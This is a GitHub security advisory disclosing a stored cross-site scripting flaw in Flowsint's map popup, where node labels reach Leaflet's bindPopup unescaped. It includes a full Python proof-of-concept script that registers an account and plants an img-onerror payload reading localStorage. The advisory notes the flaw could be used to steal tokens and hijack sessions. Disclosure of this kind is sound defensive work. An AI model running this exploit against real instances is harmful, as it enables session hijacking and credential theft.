Skip to content

Stored XSS on map node marker in map page

Moderate
dextmorgn published GHSA-gj93-2vcq-729w Apr 29, 2026

Package

No package listed

Affected versions

<5e46a542003c8b8c9839cf7009d683ec40943e19

Patched versions

1.2.3

Description

Summary

Flowsint allows a user to create investigations, which are used to manage sketches and analyses. Sketches have controllable graphs, which are comprised of nodes and relationships. The sketches contain information on an OSINT target (usernames, websites, etc) within these nodes and relationships. A remote attacker can create a map node with a malicious label that contains arbitrary HTML. When the map tab is selected and a map node marker is selected, it will render the arbitrary HTML, potentially triggering stored XSS.

Detail

Within 'flowsint-app/src/components/map/map.tsx' on lines 111-126 is this code snippet:

// Add markers for each location
const markers: L.Marker[] = []
processedLocations.forEach((location) => {
  if (!location.coordinates) return

  const marker = L.marker([location.coordinates.lat, location.coordinates.lon]).addTo(map)

  // Create popup text
  const popupText =
	location.label ||
	location.address ||
	`${location.coordinates.lat.toFixed(6)}, ${location.coordinates.lon.toFixed(6)}`

  marker.bindPopup(popupText)
  markers.push(marker)
})

This utilises the node's label/address properties to create a popupText that is then passed to bindPopup, which sets the contents using innerHTML, allowing arbitrary HTML to be injected. The label/address properties can be controlled when creating a node on /api/sketches/<sketch_id>/nodes/add.

Impact

Currently an investigation is limited to a single user, but the codebase seems to suggest that there are plans to share/invite users to investigations and collaborate on them. If that were the case, a user could exfiltrate the contents of another users Local Storage, containing their authorisation token, allowing for session hijacking.

PoC

#!/venv/bin/python3

import argparse
import random
import string

import requests

# Made by sealldev

def random_string(length: int):
    """
    Generate a random string of letters and numbers of a specified length.
    """
    return "".join(random.choices(string.ascii_letters + string.digits, k=length))


class XssViaMapNodeLabel:
    """
    A generalised class to manage the web sessions and values for the exploit.
    """

    def __init__(self):
        self.username = random_string(20)
        self.password = random_string(20)
        self.email = f"{random_string(10)}@{random_string(10)}.com".lower()
        self.session = requests.Session()
        self.remote_ip = "localhost"
        self.remote_port = 5001
        self.insecure = False
        self.url = ""
        self.headers = {}
        self.payload = ""
        self.verbose = False

    def exploit(self):
        """
        Execute the exploit.
        """
        self.payload = self.craft_payload()
        self.register_user()
        self.get_token()
        investigation_id = self.create_investigation()
        sketch_id = self.create_sketch(investigation_id)
        self.create_map_node(sketch_id)
        print(f"[+] Authenticate as {self.email} : {self.password}")
        print(
            f"[+] Exploit ready - visit http://localhost:5173/dashboard/investigations/{investigation_id}/graph/{sketch_id}"
        )
        print('[+] Select the map tab, then click the marker on the map')

    def register_user(self):
        """
        Register a user on the /api/auth/register endpoint with randomly generated values.
        """
        json_payload = {
            "username": self.username,
            "email": self.email,
            "password": self.password,
        }
        res = self.session.post(
            f"{self.url}/api/auth/register",
            json=json_payload,
            verify=(not self.insecure),
        )
        if not res.status_code == 201:
            raise ValueError(
                f"[x] Expecting status code 201, recieved {res.status_code}"
            )
        res_data = res.json()
        message = res_data.get("message", "")
        if not message == "User registered successfully":
            raise ValueError(
                f'[x] Expected successful registration message, recieved "{message}".'
            )
        print("[+] User successfully registered!")
        if self.verbose:
            print(f"  - Username: {self.username}")
            print(f"  - Email: {self.email}")
            print(f"  - Password: {self.password}")
        return

    def get_token(self):
        """
        With a valid user's credentials, get a token for a user.
        """
        payload = {"username": self.email, "password": self.password}
        res = self.session.post(f"{self.url}/api/auth/token", data=payload)
        res_data = res.json()
        access_token = res_data.get("access_token", False)
        if not access_token:
            raise ValueError(
                f"[x] Exploitation failed, access token was not found in response.\n  - {res_data}"
            )
        self.headers = {"Authorization": f"Bearer {access_token}"}
        print("[+] Got access token!")
        if self.verbose:
            print(f"  - {access_token}...")
        return

    def create_investigation(self):
        """
        Create an investigation project, to then create a sketch within in 'create_sketch()'.
        """
        json_payload = {"name": random_string(20), "description": random_string(20)}
        res = self.session.post(
            f"{self.url}/api/investigations/create",
            json=json_payload,
            headers=self.headers,
        )
        res_data = res.json()
        investigation_id = res_data.get("id", False)
        if not investigation_id:
            raise ValueError(
                f"[x] Exploitation failed, investigation id was not found in response.\n  - {res_data}"
            )
        print('[+] Created an investigation "' + json_payload["name"] + '"')
        if self.verbose:
            print(f"  - Investigation ID: {investigation_id}")
        return investigation_id

    def create_sketch(self, investigation_id):
        """
        Create a sketch to execute the vulnerability within.
        """
        json_payload = {
            "title": random_string(20),
            "description": random_string(20),
            "investigation_id": investigation_id,
        }
        res = self.session.post(
            f"{self.url}/api/sketches/create", json=json_payload, headers=self.headers
        )
        res_data = res.json()
        sketch_id = res_data.get("id", False)
        if not sketch_id:
            raise ValueError(
                f"[x] Exploitation failed, sketch id was not found in response.\n  - Response: {res.content}\n  - Payload: {json_payload}"
            )
        print('[+] Created an sketch "' + json_payload["title"] + '"')
        if self.verbose:
            print(f"  - Sketch ID: {sketch_id}")
        return sketch_id

    def create_map_node(self, sketch_id):
        """
        Create a map node on the sketch with an XSS payload in the label.
        """
        json_payload = {
            "type": "custom",
            "label": self.payload,
            "data": {
                "address": self.payload,
                "city": "city",
                "country": "country",
                "zip": "123456",
                "latitude": "",
                "longitude": "",
                "type": "location",
                "label": self.payload,
            },
        }
        res = self.session.post(
            f"{self.url}/api/sketches/{sketch_id}/nodes/add",
            json=json_payload,
            headers=self.headers,
        )
        if not res.status_code == 200:
            raise ValueError(
                f"[x] Expected status code 200 on exploit, recieved {res.status_code}"
            )
        print("[+] Created map node on the sketch")
        return

    def craft_payload(self):
        """
        Craft an XSS payload to alert with the contents of local storage.
        """
        return '<img src="x" onerror="alert(JSON.stringify(localStorage))"/>'


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-rp",
        "--remote-port",
        help="The port for the remote Flowsint API (Default: 5001).",
        default=5001,
    )
    parser.add_argument(
        "-ri",
        "--remote-ip",
        help="The IP for the remote Flowsint API (Default: localhost).",
        default="localhost",
    )
    parser.add_argument(
        "-v",
        "--verbose",
        help="Enable verbosity in logging for extra detail when debugging (Default: False).",
        action="store_true",
    )
    parser.add_argument(
        "-k",
        "--insecure",
        help="Utilise HTTP for a connection to the website (Default: False).",
        action="store_true",
    )
    args = parser.parse_args()

    exploit = XssViaMapNodeLabel()
    if args.remote_port:
        exploit.remote_port = args.remote_port
    if args.remote_ip:
        exploit.remote_ip = args.remote_ip
    if args.insecure:
        exploit.insecure = args.insecure
    if args.verbose:
        exploit.verbose = args.verbose
    exploit.url = (
        f"{'http' if args.insecure else 'https'}://{args.remote_ip}:{args.remote_port}"
    )
    exploit.exploit()

Severity

Moderate

CVE ID

CVE-2026-42157

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits